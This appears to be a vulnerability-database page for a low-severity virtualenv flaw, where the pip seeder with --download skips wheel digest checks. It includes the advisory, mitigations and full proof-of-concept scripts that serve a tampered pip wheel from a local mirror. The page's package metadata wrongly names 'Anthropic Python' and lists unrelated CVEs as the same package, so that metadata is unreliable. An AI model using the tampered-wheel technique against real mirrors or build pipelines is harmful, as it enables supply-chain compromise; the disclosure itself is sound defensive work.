virtualenv before 21.14.9 skips its SHA-256 wheel verification when you combine `--seeder pip` with `--download`, so a pip.conf-configured non-PyPI index can supply a modified pip wheel that gets installed unchecked. This is low severity: it needs both non-default options and an already attacker-influenced custom index, and it does not defeat TLS or establish control of the default PyPI index. Exploitation likelihood is modest (EPSS 0.003, top 79th percentile), there is no public exploit, the CVE is not in CISA KEV, and the only proof of concept is the scanner's reproducer in the advisory. The blast radius is still worth noting because virtualenv has about 6,390 downstream dependents and sits in many ML build and CI pipelines. Upgrade to 21.14.9, and until then avoid `--seeder pip --download` or use the embedded wheels without downloads.
What is the risk?
Low overall. Exploitation needs a non-default option combination (--seeder pip plus --download) and an index configured in pip.conf that the attacker controls or can tamper with, such as a compromised internal mirror. Impact is integrity loss: a modified pip is installed in the new environment and runs attacker code on later pip invocations. EPSS is 0.00297, there is no public exploit, no Nuclei template and no KEV listing. The risk rises for AI/ML build infrastructure that relies on private mirrors and automated environment creation.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Anthropic Python | pip | < 21.14.9 | 21.14.9 |
Do you use Anthropic Python? You're affected.
How severe is it?
What should I do?
1 step1) Upgrade virtualenv to 21.14.9 or later (PR #3430). 2) On older releases, use the embedded wheels without --download, or fetch and verify approved seed archives separately. 3) Avoid combining --seeder pip with --download. 4) Audit pip.conf and the PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX settings on build hosts, and restrict write access to internal mirrors. 5) Detect by comparing the SHA-256 of pip wheels installed in new venvs against the PyPI-published digests, and by searching build scripts and CI configs for
--seeder piptogether with--download. 6) Enforce hash-pinned installs for the rest of the dependency tree.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-113717?
virtualenv before 21.14.9 skips its SHA-256 wheel verification when you combine `--seeder pip` with `--download`, so a pip.conf-configured non-PyPI index can supply a modified pip wheel that gets installed unchecked. This is low severity: it needs both non-default options and an already attacker-influenced custom index, and it does not defeat TLS or establish control of the default PyPI index. Exploitation likelihood is modest (EPSS 0.003, top 79th percentile), there is no public exploit, the CVE is not in CISA KEV, and the only proof of concept is the scanner's reproducer in the advisory. The blast radius is still worth noting because virtualenv has about 6,390 downstream dependents and sits in many ML build and CI pipelines. Upgrade to 21.14.9, and until then avoid `--seeder pip --download` or use the embedded wheels without downloads.
Is CVE-2026-113717 actively exploited?
No confirmed active exploitation of CVE-2026-113717 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-113717?
1) Upgrade virtualenv to 21.14.9 or later (PR #3430). 2) On older releases, use the embedded wheels without --download, or fetch and verify approved seed archives separately. 3) Avoid combining --seeder pip with --download. 4) Audit pip.conf and the PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX settings on build hosts, and restrict write access to internal mirrors. 5) Detect by comparing the SHA-256 of pip wheels installed in new venvs against the PyPI-published digests, and by searching build scripts and CI configs for `--seeder pip` together with `--download`. 6) Enforce hash-pinned installs for the rest of the dependency tree.
What systems are affected by CVE-2026-113717?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, CI/CD build environments, model serving, notebook environments, agent frameworks.
What is the CVSS score for CVE-2026-113717?
No CVSS score has been assigned yet.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010AI Supply Chain CompromiseAML.T0010.001AI SoftwareCompliance Controls Affected
What are the technical details?
Original Advisory
## Summary The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification. Anthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Wheel selection by the pip seeder when downloads are enabled. ## Attacker-controlled input The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy. ## Affected code The relevant 21.14.8 source is in [pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py). ## Mechanism With `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so virtualenv's `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option. ## Reproduction and evidence The scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same filename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the second run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel; `env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting `BUG`. Both `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left `PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. [PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with index lookup disabled. ## Attack sequence ```mermaid sequenceDiagram participant I as Index in pip.conf participant V as virtualenv PipInvoke participant P as pip install participant E as Seeded environment I->>V: serve modified pip wheel V->>V: get_wheel(download=False) V->>P: install with --download permitting index lookup P->>I: select same-version index wheel I->>E: modified pip installed without virtualenv digest check E->>E: later pip invocation runs added code Note over V,E: Default app-data seeder rejects the same digest ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import glob import hashlib import json import os import shutil import subprocess import sys import zipfile from virtualenv.seed.wheels.embed import get_embed_wheel companions = "/tmp/repro.d" work = "/tmp/repro-pip-seeder-download" shutil.rmtree(work, ignore_errors=True) os.makedirs(work) # set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network) bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}") pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest() pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}} os.makedirs(f"{work}/pypi.org/pypi/pip") with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json: json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json) # attacker: the mirror serves other bytes under the bundled wheel's own file name marker = f"{work}/MIRROR_CODE_RAN" subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True) mirror_wheel = f"{work}/mirror/pip/{bundled.name}" mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest() print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}") print(f"{bundled.name}: the mirror serves sha256 {mirror_sha256}") # user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset with open(f"{work}/pip.conf", "w") as pip_conf: pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n") # file:// stands in for the mirror's http URL os.makedirs(f"{work}/home-default") os.makedirs(f"{work}/home-pip") # one HOME per run, so neither sees the other's app-data or pip cache virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"] # control: the default seeder with --download fetches the mirror's wheel and refuses it default_seeder = subprocess.run( [*virtualenv, "--download", f"{work}/env-default"], env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"}, capture_output=True, text=True, ) refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")] print(f"\nCONTROL virtualenv --download env-default: exit {default_seeder.returncode}") print("\n".join(refusal)) # trigger: the same command plus --seeder pip pip_seeder = subprocess.run( [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"], env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"}, capture_output=True, text=True, ) print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}") print(pip_seeder.stdout) if pip_seeder.returncode == 0: env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True) print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}") # check: compare env-pip's pip/__init__.py with the one in each wheel with zipfile.ZipFile(bundled.path) as wheel: bundled_init = wheel.read("pip/__init__.py") with zipfile.ZipFile(mirror_wheel) as wheel: mirror_init = wheel.read("pip/__init__.py") installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py") installed_init = open(installed[0], "rb").read() if installed else b"" refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}" refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout print(f"default seeder refused the mirror's wheel for its digest: {refused}") print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}") print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}") print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK") ``` **`repro.d/make_mirror.py`** ```text #!/usr/bin/env python3 # usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes> import os import sys import zipfile genuine_wheel, mirror, marker = sys.argv[1:] wheel_name = os.path.basename(genuine_wheel) payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n" os.makedirs(f"{mirror}/pip") with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served: for entry in genuine.infolist(): data = genuine.read(entry) if entry.filename == "pip/__init__.py": data += payload.encode() served.writestr(entry, data) # PEP 503 project page; pip reads <index>/pip/index.html for a file:// index with open(f"{mirror}/pip/index.html", "w") as page: page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n') ``` **`repro.d/virtualenv_offline.py`** ```text #!/usr/bin/env python3 # usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...> # The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder # checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched. import sys from virtualenv.__main__ import run_with_catch from virtualenv.seed.wheels import periodic_update pypi_org = sys.argv[1] def pypi_json_api(url, context=None): return open(url.replace("https://pypi.org", pypi_org), "rb") periodic_update.urlopen = pypi_json_api run_with_catch(sys.argv[2:]) ``` ## Impact The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response. Severity: low. ## Versions tested The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9. The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output. Fix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430). ## Known mitigation On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately. ## Affected release - [x] The problem reproduces on virtualenv 21.14.8. ## Credits Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.
Exploitation Scenario
An attacker compromises or poisons an internal PyPI mirror, or a developer's pip.conf points at one. The mirror serves a pip wheel with the same filename and version as the one virtualenv bundles, with a malicious line added to pip/__init__.py. An ML CI pipeline runs `virtualenv --seeder pip --download` to build a training environment. virtualenv skips its digest check and pip installs the tampered wheel. The next pip invocation in that environment runs the attacker's code, which can steal credentials, tamper with model dependencies or persist in build artifacts.
Weaknesses (CWE)
CWE-494 — Download of Code Without Integrity Check: The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.
- [Implementation] Perform proper forward and reverse DNS lookups to detect DNS spoofing.
- [Architecture and Design, Operation] Encrypt the code with a reliable encryption scheme before transmitting. This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.
Source: MITRE CWE corpus.
References
Timeline
Related Vulnerabilities
CVE-2026-9460310.0Podman: checkpoint images override sandbox on run
Same package: anthropicCVE-2026-544498.8LangBot: RCE via arbitrary STDIO MCP command
Same package: anthropicCVE-2026-277758.8Gitea: cached permission check allows repo takeover
Same package: anthropicCVE-2026-554298.7Coder: cross-workspace agent hijack via app ID reuse
Same package: anthropicCVE-2026-75748.7Claude Desktop: VM integrity bypass enables RCE
Same package: anthropic